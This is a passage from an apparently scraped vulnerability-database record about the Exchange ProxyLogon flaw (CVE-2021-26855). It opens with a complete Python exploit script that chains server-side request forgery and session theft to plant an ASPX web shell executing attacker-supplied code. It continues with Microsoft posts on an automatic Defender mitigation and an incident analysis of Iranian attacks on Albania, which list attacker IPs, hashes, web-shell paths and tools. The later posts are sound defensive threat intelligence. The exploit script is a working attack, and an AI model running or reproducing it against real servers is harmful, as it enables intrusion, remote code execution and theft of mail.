[email\u00a0protected]\")\r\n\texit()\r\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\r\ntarget = sys.argv[1]\r\nemail = sys.argv[2]\r\nrandom_name = id_generator(3) + \".js\"\r\nuser_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\"\r\n\r\nshell_path = \"Program Files\\\\Microsoft\\\\Exchange Server\\\\V15\\\\FrontEnd\\\\HttpProxy\\\\owa\\\\auth\\\\ahihi.aspx\"\r\nshell_absolute_path = \"\\\\\\\\127.0.0.1\\\\c$\\\\%s\" % shell_path\r\n\r\nshell_content = '<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"exec_code\"],\"unsafe\");}</script>'\r\nlegacyDnPatchByte = \"68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a\"\r\nautoDiscoverBody = \"\"\"<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\">\r\n <Request>\r\n <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>\r\n </Request>\r\n</Autodiscover>\r\n\"\"\" % email\r\n\r\nprint(\"Attacking target \" + target)\r\nprint(\"=============================\")\r\nprint(legacyDnPatchByte.decode('hex'))\r\nFQDN = \"EXCHANGE\"\r\nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={\"Cookie\": \"X-BEResource=localhost~1942062522\",\r\n \"User-Agent\": user_agent},\r\n verify=False)\r\nif \"X-CalculatedBETarget\" in ct.headers and \"X-FEServer\" in ct.headers:\r\n FQDN = ct.headers[\"X-FEServer\"]\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;\" % FQDN,\r\n \"Content-Type\": \"text/xml\",\r\n \"User-Agent\": user_agent},\r\n data=autoDiscoverBody,\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"Autodiscover Error!\")\r\n exit()\r\nif \"<LegacyDN>\" not in ct.content:\r\n print(\"Can not get LegacyDN!\")\r\n exit()\r\n\r\nlegacyDn = ct.content.split(\"<LegacyDN>\")[1].split(\"</LegacyDN>\")[0]\r\nprint(\"Got DN: \" + legacyDn)\r\n\r\nmapi_body = legacyDn + \"\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/mapi/[email\u00a0protected]ab&a=~1942062522;\" % FQDN,\r\n \"Content-Type\": \"application/mapi-http\",\r\n \"User-Agent\": user_agent\r\n},\r\n data=mapi_body,\r\n verify=False\r\n )\r\nif ct.status_code != 200 or \"act as owner of a UserMailbox\" not in ct.content:\r\n print(\"Mapi Error!\")\r\n exit()\r\n\r\nsid = ct.content.split(\"with SID \")[1].split(\" and MasterAccountSid\")[0]\r\n\r\nprint(\"Got SID: \" + sid)\r\n\r\nproxyLogon_request = \"\"\"<r at=\"Negotiate\" ln=\"john\"><s>%s</s><s a=\"7\" t=\"1\">S-1-1-0</s><s a=\"7\" t=\"1\">S-1-5-2</s><s a=\"7\" t=\"1\">S-1-5-11</s><s a=\"7\" t=\"1\">S-1-5-15</s><s a=\"3221225479\" t=\"1\">S-1-5-5-0-6948923</s></r>\r\n\"\"\" % sid\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/proxyLogon.ecp?a=~1942062522;\" % FQDN,\r\n \"Content-Type\": \"text/xml\",\r\n \"User-Agent\": user_agent\r\n},\r\n data=proxyLogon_request,\r\n verify=False\r\n )\r\nif ct.status_code != 241 or not \"set-cookie\" in ct.headers:\r\n print(\"Proxylogon Error!\")\r\n exit()\r\n\r\nsess_id = ct.headers['set-cookie'].split(\"ASP.NET_SessionId=\")[1].split(\";\")[0]\r\n\r\nmsExchEcpCanary = ct.headers['set-cookie'].split(\"msExchEcpCanary=\")[1].split(\";\")[0]\r\nprint(\"Got session id: \" + sess_id)\r\nprint(\"Got canary: \" + msExchEcpCanary)\r\n\r\nct = requests.get(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, sess_id, msExchEcpCanary),\r\n \"User-Agent\": user_agent\r\n},\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"Wrong canary!\")\r\n print(\"Sometime we can skip this ...\")\r\nrbacRole = ct.content.split(\"RBAC roles:</span> <span class='diagTxt'>\")[1].split(\"</span>\")[0]\r\n# print \"Got rbacRole: \"+ rbacRole\r\n\r\nprint(\"=========== It means good to go!!!====\")\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"User-Agent\": user_agent\r\n\r\n},\r\n json={\"filter\": {\r\n \"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\r\n \"SelectedView\": \"\", \"SelectedVDirType\": \"All\"}}, \"sort\": {}},\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"GetOAB Error!\")\r\n exit()\r\noabId = ct.content.split('\"RawIdentity\":\"')[1].split('\"')[0]\r\nprint(\"Got OAB id: \" + oabId)\r\n\r\noab_json = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId},\r\n \"properties\": {\r\n \"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\r\n \"ExternalUrl\": \"http://ffff/#%s\" % shell_content}}}\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"User-Agent\": user_agent\r\n},\r\n json=oab_json,\r\n verify=False\r\n )\r\nif ct.status_code != 200:\r\n print(\"Set external url Error!\")\r\n exit()\r\n\r\nreset_oab_body = {\"identity\": {\"__type\": \"Identity:ECP\", \"DisplayName\": \"OAB (Default Web Site)\", \"RawIdentity\": oabId},\r\n \"properties\": {\r\n \"Parameters\": {\"__type\": \"JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel\",\r\n \"FilePathName\": shell_absolute_path}}}\r\n\r\nct = requests.post(\"https://%s/ecp/%s\" % (target, random_name), headers={\r\n \"Cookie\": \"[email\u00a0protected]%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s\" % (\r\n FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),\r\n \"Content-Type\": \"application/json; charset=utf-8\",\r\n \"User-Agent\": user_agent\r\n},\r\n json=reset_oab_body,\r\n verify=False\r\n )\r\n\r\nif ct.status_code != 200:\r\n print(\"Write Shell Error!\")\r\n exit()\r\n\r\nprint(\"Successful!\")\n\n# 0day.today [2021-09-22] #", "sourceHref": "https://0day.today/exploit/35944", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mssecure": [{"lastseen": "2021-03-19T21:46:45", "description": "As cybercriminals continue to exploit unpatched on-premises versions of Exchange Server 2013, 2016, and 2019, we continue to actively work with customers and partners to help them secure their environments and respond to associated threats. To date, we have [released a comprehensive Security Update](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>), a one-click interim [Exchange On-Premises Mitigation Tool](<https://aka.ms/eomtrelease>) for both current and out-of-support versions of on-premises Exchange Servers, and [step-by-step guidance](<https://aka.ms/exchange-customer-guidance>) to help address these attacks.\n\nToday, we have taken an additional step to further support our customers who are still vulnerable and have not yet implemented the complete security update. With the latest security intelligence update, Microsoft Defender Antivirus and System Center Endpoint Protection will **automatically mitigate** CVE-2021-26855 on any vulnerable Exchange Server on which it is deployed. Customers do not need to take action beyond ensuring they have installed the latest security intelligence update (build **1.333.747.0** or newer), if they do not already have automatic updates turned on.\n\n\n\nThe Exchange security update is still the most comprehensive way to protect your servers from these attacks and others fixed in earlier releases. This interim mitigation is designed to help protect customers while they take the time to implement the latest Exchange Cumulative Update for their version of Exchange.\n\nMicrosoft will provide guidance to our security partners so that they have the option to make available similar, simple mitigations in their products as well.\n\nWe are deeply committed to protecting our customers. To stay up to date please continue to review the content posted at <https://aka.ms/exchangevulns>.\n\n### Frequently Asked Questions\n\n**Q: If I have Microsoft Defender Antivirus installed on my Exchange Server do I need to take any further action to get this mitigation?**\n\nA: Customers that install Microsoft Defender Antivirus and have automatic definition updates enabled (default setting) do not have to take further action to receive the mitigation.\n\n**Q: My organization manages Microsoft Defender Antivirus definition updates. What do I need to do to ensure I have this mitigation?**\n\nA: Customers that manage Microsoft Defender Antivirus definition updates need to select the new detection build (**1.333.747.0 or newer**) and deploy that to the Exchange Server.\n\n**Q: After this mitigation, do I still need to install the security update?**\n\nA: Yes. This automatic mitigation breaks the attack chain by mitigating CVE-2021-26855. Customers should still prioritize getting current on security updates for Exchange Server to comprehensively address the vulnerabilities.\n\n**Q: When does Microsoft Defender Antivirus apply the mitigation?**\n\nA: Microsoft Defender Antivirus will automatically identify if a vulnerable version of Exchange Server is installed and apply the mitigations the first time the security intelligence update is deployed. The mitigation is deployed once per machine.\n\n**Q: Is cloud protection required to receive the mitigation?**\n\nA: No. However, enabling cloud protection is a best practice that will keep you with the most current protections against the ever-changing threat environment. Customers are encouraged to enable cloud protection.\n\n**Q: What can I do if I don\u2019t have Microsoft Defender Antivirus?**\n\nA: Use the One-Click Microsoft Exchange On-Premises Mitigation Tool found [here](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>).\n\nThe post [Automatic on-premises Exchange Server mitigation now in Microsoft Defender Antivirus](<https://www.microsoft.com/security/blog/2021/03/18/automatic-on-premises-exchange-server-mitigation-now-in-microsoft-defender-antivirus/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-18T22:00:47", "type": "mssecure", "title": "Automatic on-premises Exchange Server mitigation now in Microsoft Defender Antivirus", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-18T22:00:47", "id": "MSSECURE:FC03200E57A46D16A8CD1A5A0E647BB3", "href": "https://www.microsoft.com/security/blog/2021/03/18/automatic-on-premises-exchange-server-mitigation-now-in-microsoft-defender-antivirus/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-09-09T01:17:14", "description": "Shortly after the destructive cyberattacks against the Albanian government in mid-July, the Microsoft Detection and Response Team (DART) was engaged by the Albanian government to lead an investigation into the attacks. At the time of the attacks and our engagement by the Albanian government, Microsoft publicly stated that \u201cMicrosoft is committed to helping our customers be secure while achieving more. During this event, we quickly mobilized our Detection and Response Team (DART) to help the Albanian government rapidly recover from this cyber-attack. Microsoft will continue to partner with Albania to manage cybersecurity risks while continuing to enhance protections from malicious attackers.\u201d This blog showcases the investigation, Microsoft\u2019s process in attributing the related actors and the observed tactics and techniques observed by DART and the Microsoft Threat Intelligence Center (MSTIC) to help customers and the security ecosystem defend from similar attacks in the future.\n\nMicrosoft assessed with high confidence that on July 15, 2022, actors sponsored by the Iranian government conducted a destructive cyberattack against the Albanian government, disrupting government websites and public services. At the same time, and in addition to the destructive cyberattack, MSTIC assesses that a separate Iranian state-sponsored actor leaked sensitive information that had been exfiltrated months earlier. Various websites and social media outlets were used to leak this information.\n\nThere were multiple stages identified in this campaign:\n\n * Initial intrusion\n * Data exfiltration\n * Data encryption and destruction\n * Information operations\n\nMicrosoft assessed with high confidence that multiple Iranian actors participated in this attack\u2014with different actors responsible for distinct phases:\n\n * DEV-0842 deployed the ransomware and wiper malware\n * DEV-0861 gained initial access and exfiltrated data\n * DEV-0166 exfiltrated data\n * DEV-0133 probed victim infrastructure\n\nMicrosoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, the DEV reference is converted to a named actor:\n\nMicrosoft assessed with moderate confidence that the actors involved in gaining initial access and exfiltrating data in the attack are linked to EUROPIUM, which has been publicly linked to Iran\u2019s Ministry of Intelligence and Security (MOIS) and was detected using three unique clusters of activity. We track them separately based on unique sets of tools and/or TTPs; however, some of them may work for the same unit.\n\nInformation specific to Albania is shared with permission from the Albanian government.\n\nFigure 1. Threat actors behind the attack against the Albanian government\n\n## Forensic analysis\n\nEvidence gathered during the forensic response indicated that Iran-affiliated actors conducted the attack. This evidence includes, but is not limited to:\n\n * The attackers were observed operating out of Iran\n * The attackers responsible for the intrusion and exfiltration of data used tools previously used by other known Iranian attackers\n * The attackers responsible for the intrusion and exfiltration of data targeted other sectors and countries that are consistent with Iranian interests\n * The wiper code was previously used by a known Iranian actor\n * The ransomware was signed by the same digital certificate used to sign other tools used by Iranian actors\n\n### Intrusion and exfiltration\n\nA group that we assess is affiliated with the Iranian government, DEV-0861, likely gained access to the network of an Albanian government victim in May 2021 by exploiting the CVE-2019-0604 vulnerability on an unpatched SharePoint Server, administrata.al (Collab-Web2._*.*_), and fortified access by July 2021 using a misconfigured service account that was a member of the local administrative group. Analysis of Exchange logs suggests that DEV-0861 later exfiltrated mail from the victim\u2019s network between October 2021 and January 2022.\n\nDEV-0861 was observed operating from the following IPs to exfiltrate mail:\n\n * 144[.]76[.]6[.]34\n * 176[.]9[.]18[.]143\n * 148[.]251[.]232[.]252\n\nAnalysis of the signals from these IPs, and other sources, indicated that DEV-0861 has been actively exfiltrating mail from different organizations in the following countries since April 2020:\n\nFigure 2. Timeline of data exfiltration activities by DEV-0861\n\nThe geographic profile of these victims\u2014Israel, Jordan, Kuwait, Saudi Arabia, Turkey, and the UAE\u2014aligns with Iranian interests and have historically been targeted by Iranian state actors, particularly MOIS-linked actors.\n\nDEV-0166 was observed exfiltrating mail from the victim between November 2021 and May 2022. DEV-0166 likely used the tool _Jason.exe_ to access compromised mailboxes. A public analysis of _Jason.exe _can be found [here](<https://marcoramilli.com/2019/06/06/apt34-jason-project/>). Note that this tool was reportedly used by actors affiliated with MOIS.\n\nFigure 3. Screenshot of the _Jason.exe _tool\n\n### Ransomware and wiper\n\nThe cyberattack on the Albanian government used a common tactic of Iranian state sponsored actors by [deploying ransomware first](<https://www.sentinelone.com/labs/from-wiper-to-ransomware-the-evolution-of-agrius/>), followed by deployment of the wiper malware. The wiper and ransomware both had forensic links to Iranian state and Iran-affiliated groups. The wiper that DEV-0842 deployed in this attack used the same license key and EldoS RawDisk driver as ZeroCleare, a wiper that Iranian state actors used in an attack on a Middle East energy company in mid-2019. In that case, [IBM X-Force assessed](<https://www.ibm.com/downloads/cas/OAJ4VZNJ>) that actors affiliated with EUROPIUM gained initial access nearly a year ahead of the wiper attack. The wiper attack was subsequently performed by a separate and unknown Iranian actor. This is similar to the chain of events Microsoft detected against the Albanian government.\n\nThe code used in this attack had the following properties:\n\n**Filename**| **SHA-256** \n---|--- \ncl.exe| e1204ebbd8f15dbf5f2e41dddc5337e3182fc4daf75b05acc948b8b965480ca0 \nrwdsk.sys| 3c9dc8ada56adf9cebfc501a2d3946680dcb0534a137e2e27a7fcb5994cd9de6 \n \nEmbedded in the _cl.exe_ wiper was the hex-string \u2018B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D,\u2019 which was the same license key used for the EldoS RawDisk driver of the ZeroCleare wiper documented by IBM X-Force in 2019. The Eldos driver is a legitimate tool that was also abused by the ZeroCleare wiper and was used to delete files, disks, and partitions on the target systems. While ZeroCleare is not widely used, this tool is being shared amongst a smaller number of affiliated actors including actors in Iran with links to MOIS.\n\nThe ransomware payload used in this attack by the DEV-0842 operator had the following properties:\n\n**Filename**| **SHA-256** \n---|--- \nGoXml.exe| f116acc6508843f59e59fb5a8d643370dce82f492a217764521f46a856cc4cb5 \n \nThis tool was signed with an invalid digital certificate from Kuwait Telecommunications Company KSC. This certificate had a SHA-1 thumbprint of 55d90ec44b97b64b6dd4e3aee4d1585d6b14b26f.\n\nMicrosoft telemetry indicates this certificate was only used to sign 15 other files\u2014a very small footprint, suggesting the certificate was not widely shared amongst unrelated actor groups. Multiple other binaries with this same digital certificate were previously seen on files with links to Iran, including a known DEV-0861 victim in Saudi Arabia in June 2021:\n\n**Filename**| **SHA-256** \n---|--- \nRead.exe| ea7316bbb65d3ba4efc7f6b488e35db26d3107c917b665dc7a81e327470cb0c1 \n \nIt\u2019s not clear if _Read.exe_ was dropped by DEV-0861 on this Saudi victim or if DEV-0861 also handed off access to the Saudi victim to DEV-0842.\n\n## Additional indications of Iranian state sponsorship\n\nThe messaging, timing, and target selection of the cyberattacks bolstered our confidence that the attackers were acting on behalf of the Iranian government. The messaging and target selection indicate Tehran likely used the attacks as retaliation for [cyberattacks Iran perceives were carried out by Israel and the Mujahedin-e Khalq (MEK)](<https://www.jpost.com/middle-east/article-708830>), an Iranian dissident group largely based in Albania that seeks to overthrow the Islamic Republic of Iran.\n\n### Messaging\n\nThe attacker\u2019s logo is an eagle preying on the symbol of the hacking group \u2018Predatory Sparrow\u2019 inside the Star of David (Figure 4). This signals the attack on Albania was retaliation for Predatory Sparrow\u2019s [operations against Iran](<https://www.jpost.com/middle-east/article-708830>), which Tehran perceives involved Israel. Predatory Sparrow has claimed responsibility for several [high-profile](<https://www.theguardian.com/world/2021/jul/11/cyber-attack-hits-irans-transport-ministry-and-railways>) and [highly sophisticated](<https://apnews.com/article/technology-middle-east-iran-dubai-b0404963ae23e5008439a0b607952de1>) [cyberattacks against Iran state-linked entities](<https://www.reuters.com/world/middle-east/irans-state-broadcaster-says-it-was-hacked-10-seconds-2022-01-27/>) since July 2021. This included a cyberattack that disrupted television programming of the Islamic Republic of Iran Broadcasting (IRIB) with images saluting MEK leaders in late January. Predatory Sparrow forewarned about the attack hours ahead of time and claimed they supported and paid for it, indicating others were involved. Iranian officials blamed this cyberattack on the MEK and additionally blamed the MEK and Israel for a cyberattack that used the same images and messaging against the Tehran municipality [in June](<https://www.bloomberg.com/news/articles/2022-01-27/iran-state-tv-says-exiled-dissidents-briefly-hacked-broadcasts>).\n\nThe message in the ransom image indicates that the MEK, a long-standing adversary of the Iranian regime, was the primary target behind their attack on the Albanian government. The ransom image, like several posts by Homeland Justice, the group overtly pushing messages and leaking data linked to the attack, asked \u201cwhy should our taxes be spent on terrorists of Durres.\u201d This is a reference to the MEK, who [Tehran considers terrorists](<https://en.mfa.ir/files/mfaen/s.pdf>), who have a large refugee camp in Durr\u00ebs County in Albania.\n\nFigure 4. Ransomware image and Homeland Justice banner\n\nThe messaging linked to the attack closely mirrored the messaging used in cyberattacks against Iran, a common tactic of Iranian foreign policy suggesting an intent to signal the attack as a form of retaliation. The level of detail mirrored in the messaging also reduces the likelihood that the attack was a false flag operation by a country other than Iran. \n\n * The contact numbers listed in the ransom image (Figure 4), for example, were linked to multiple senior Albanian leaders, mirroring the cyberattacks on Iran\u2019s railways and fueling pumps, which included [a contact phone number belonging to the Iranian Supreme Leader\u2019s Office](<https://twitter.com/IranIntl_En/status/1452944995741315079>).\n * The messages in the information operations also emphasized targeting of corrupt government politicians and their support for terrorists and an interest in not harming the Albanian people (Figure 5). Similarly, the attack on Iranian steel companies claimed to [target the steel factories](<https://twitter.com/GonjeshkeDarand/status/1541288345183158272?cxt=HHwWgIC88a7l4OMqAAAA>) for their connections to the Islamic Revolutionary Guard Corps (IRGC) while avoiding harm to Iranians. Another [cyberattack on an Iranian airline](<https://www.timesofisrael.com/blacklisted-iranian-airlines-targeted-in-cyberattack/>) in late 2021, which was claimed by Hooshyaran-e Vatan (meaning \u201cObservants of the Fatherland\u201d in Farsi), emphasized Tehran\u2019s corruption and misappropriation of money on IRGC activities abroad. \nFigure 5. Message from Homeland Justice days after the cyberattack.\n\n### Timing\n\nThe cyberattack on July 15 occurred weeks after [a string of cyberattacks on Iran](<https://www.iranintl.com/en/202207032504>), one week ahead of the MEK-sponsored Free Iran World Summit and aligned with other Iranian policy moves against the MEK, further bolstering the likelihood of Iranian involvement. On July 16, the day after the cyberattack, Iran\u2019s Ministry of Foreign Affairs issued [a statement](<https://www.iranintl.com/en/202207162442>) designating current and former American politicians for supporting the MEK. The Free Iran World Summit, which the Iranian regime actively opposes, was [canceled this year](<https://abcnews.go.com/International/wireStory/terror-threat-cancels-iranian-oppositions-summit-albania-87267980>) following warnings of [possible terrorist threats](<https://al.usembassy.gov/security-alert-threat-targeting-the-free-iran-world-summit-july-21-2022/>) to the Summit on July 21. A few days after the planned Free Iran World Summit, Iranian official press issued an editorial calling for military action against the MEK in Albania. This string of events suggests there may have been a whole-of-government Iranian effort to counter the MEK from Iran\u2019s Ministry of Foreign Affairs, to intelligence agencies, to official press outlets.\n\n### Target selection\n\nSome of the Albanian organizations targeted in the destructive attack were the equivalent organizations and government agencies in Iran that experienced prior cyberattacks with MEK-related messaging. This suggests the Iranian government chose those targets to signal the cyberattacks as a form of direct and proportional retaliation, a common tactic of the regime.\n\n## Parallel information operations and amplification\n\nBefore and after the Homeland Justice messaging campaign was launched, social media persona accounts and a group of real-life Iranian and Albanian nationals known for their pro-Iran, anti-MEK views, promoted the campaign\u2019s general talking points and amplified the leaks published by the Homeland Justice accounts online. The parallel promotion of the Homeland Justice campaign and its central themes by these entities in the online space\u2014before and after the cyberattack\u2014suggests a broad-based information operation aimed at amplifying the impact of the attack.\n\nAhead of the cyberattack, on June 6, Ebrahim Khodabandeh, a disaffected former MEK member posted [an open letter](<https://web.archive.org/web/20220907003825/https:/www.nejatngo.org/en/posts/14089>) addressed to Albanian Prime Minister Edi Rama warning of the consequences of escalating tensions with Iran. Invoking \u201c[h]acking of Tehran municipal systems\u201d and \u201c[gas stations](<https://www.npr.org/2021/10/27/1049566231/irans-president-says-cyberattack-was-meant-to-create-disorder-at-gas-pumps>),\u201d Khodabandeh claimed that the MEK was the source of \u201csabotaging acts against the interests of the Iranian people [sic]\u201d and argued that these constituted \u201cthe hostile work of your government\u201d and has caused \u201cobvious enmity with the Iranian nation [sic].\u201d\n\nFour days later, on June 10, Khodabandeh and the Nejat Society, an anti-MEK NGO that he heads, hosted a group of Albanian nationals in Iran. The group included members of another anti-MEK organization called the Association for the Support of Iranians Living in Albania (ASILA)\u2014Gjergji Thanasi, Dashamir Mersuli, and Vladimir Veis. Given the highly political nature of ASILA\u2019s work on issues related to a group that Tehran considers a terrorist organization (the MEK), it is highly possible that this visit was conducted with sanction from the state. Upon their return from Iran, on July 12, Nejat Society said Albanian [police raided their offices](<https://archive.vn/zhR7m>) and detained some ASILA members. While Nejat Society said this raid was a result of \u201cfalse and baseless accusations,\u201d [according to local media](<https://nacionale.com/kulture/beteja-mes-muhaxhedineve-dhe-revolucionareve-ne-iran-eskalon-ne-panairin-e-librit-ne-durres>) the raid stemmed from possible connections to Iranian intelligence services.\n\nFigure 6. ASILA members in Iran in June 2022. Pictured, from left, are Gjergji Thanasi, Ebrahim Khodabandeh, Dashamir Mersuli, and Vladimir Veis.\n\nIn the wake of the cyberattack, on July 23, Thanasi and Olsi Jazexhi, another Albanian national who frequently appears on Iran\u2019s state-sponsored media outlet PressTV espousing anti-MEK positions, penned [a second open letter](<https://archive.vn/N8yZN>) addressed to then-Albanian President Ilir Meta, also published on Nejat Society\u2019s website. This letter echoed Homeland Justice\u2019s central claim\u2014namely that Albania\u2019s continuing to host the MEK constituted a danger to the Albanian people. Jazexhi and Thanasi called on Meta to convene Albania\u2019s National Security Council to \u201cconsider whether Albania has entered into a cyber and military conflict with the Islamic Republic of Iran.\u201d\n\nIn May 2021, at around the same time that Iranian actors began their intrusion into Albanian government victim systems, accounts for [two anti-MEK](<https://twitter.com/ali_pouladi>) [social media personas](<https://twitter.com/OliverCarol11>), which do not appear to correspond to real people, were created on both Facebook and Twitter. The accounts largely post anti-MEK content and engage with the social media accounts of some of the individuals detailed above. These two accounts along with a third, older account, were among the first to promote posts from Homeland Justice accounts on Twitter, and all three dramatically increased the rate of anti-MEK posts after the mid-July 2022 cyberattack became public.\n\nThere exists some additional evidence that the role of these personas extended beyond mere social media amplification and into content production. One of the personas which repeatedly posted Homeland Justice content had previously written for the now-defunct [IRGC-linked American Herald Tribune](<https://www.justice.gov/opa/pr/united-states-seizes-27-additional-domain-names-used-iran-s-islamic-revolutionary-guard-corps>) and other fringe news sites, often in negative terms about the MEK. A second persona account, meanwhile, may have [attempted to contact at least one Albanian newspaper](<https://web.archive.org/web/20220907002152/https:/twitter.com/ali_pouladi/status/1560161092231380994>) ahead of the hack-and-leak, requesting \u201ccooperation\u201d, and the ability to publish with the outlet.\n\nThe parallel promotion of the Homeland Justice campaign and its central themes by these individuals and personas online both before and after the cyberattack adds a compelling human dimension to the broader Homeland Justice influence effort. While there were no observed direct relationships between the threat actors responsible for the destructive attack and these messaging actors, their actions raise questions worthy of further examination.\n\n## Observed actor activity\n\nDART and MSTIC supported the post ransom and wiper attack analysis leveraging [Microsoft 365 Defender](<https://www.microsoft.com/security/business/siem-and-xdr/microsoft-365-defender>) and collection of additional forensic artifacts. Analysis identified the use of vulnerabilities to implant web shells for persistence, reconnaissance actions, common credential harvesting techniques, defense evasion methods to disable security products, and a final attempt of actions on objective deploying encryption and wiping binaries. The Iranian sponsored attempt at destruction had less than a 10% total impact on the customer environment.\n\n### Access and implant\n\nBased on investigative analysis, starting in May 2021, actors exploited vulnerabilities of a public-facing endpoint to execute arbitrary code that implanted web shells on the unpatched SharePoint server (Collab-Web2.*.*), as stated previously. These generic web shells provided the ability to upload files, download files, delete files, rename, execute commands with an option to run as specific user.\n\nFigure 7. The web shell console from the attacker\u2019s point of view\n\nWeb shells were placed in the following directories:\n\n * C:\\Program Files\\Common Files\\microsoft shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\evaluatesiteupgrade.cs.aspx\n * C:\\Program Files\\Common Files\\microsoft shared\\Web Server Extensions\\16\\TEMPLATE\\LAYOUTS\\Pickers.aspx\n * C:\\ProgramData\\COM1\\frontend\\Error4.aspx\n\n### Lateral movement and execution\n\nFollowing initial access and implant, the threat actor was observed using Mimikatz for credential harvesting and a combination of Impacket and Remote Desktop Clients for lateral movement efforts using the built-in administrator account. Unrecoverable tooling was identified, which highly suggests that reconnaissance efforts were present in the form of file names of executables, resident mailbox data, database, and user details. Similar actions by the threat actors observed by MSTIC and DART detail both custom and open-source tooling utilized for these efforts. Artifacts of tooling identified:\n\n * IPGeter.exe\n * FindUser.exe\n * recdisc.exe\n * NetE.exe\n * advanced_port_scanner.exe\n * mimikatz.exe\n * shared.exe\n * Stored CSV and TXT files\n\n### Data collection\n\nDuring the period of October 2021 \u2013 January 2022, the threat actors used a unique email exfiltration tool which interacted with the Exchange web services APIs to collect email in a manner that masked the actions. The threat actors accomplished these actions by creating an identity named \u201cHealthMailbox55x2yq\u201d to mimic a Microsoft Exchange Health Manager Service account using Exchange PowerShell commands on the Exchange Servers. The threat actors then added the account to the highly privileged exchange built-in role group \u201cOrganization Management\u201d to later add the role of \u201cApplication Impersonation\u201d. The [ApplicationImpersonation](<https://docs.microsoft.com/exchange/applicationimpersonation-role-exchange-2013-help>) management role enables applications to impersonate users in an organization to perform tasks on behalf of the user, providing the ability for the application to act as the owner of a mailbox.\n\n### Defense evasion\n\nPrior to launching the final stage of the attack, the threat actors gained administrative access to a deployed endpoint detection and response (EDR) solution to make modifications, removing libraries that affected the agents across the enterprise. In addition, a binary to disable components of Microsoft Defender Antivirus was propagated using custom 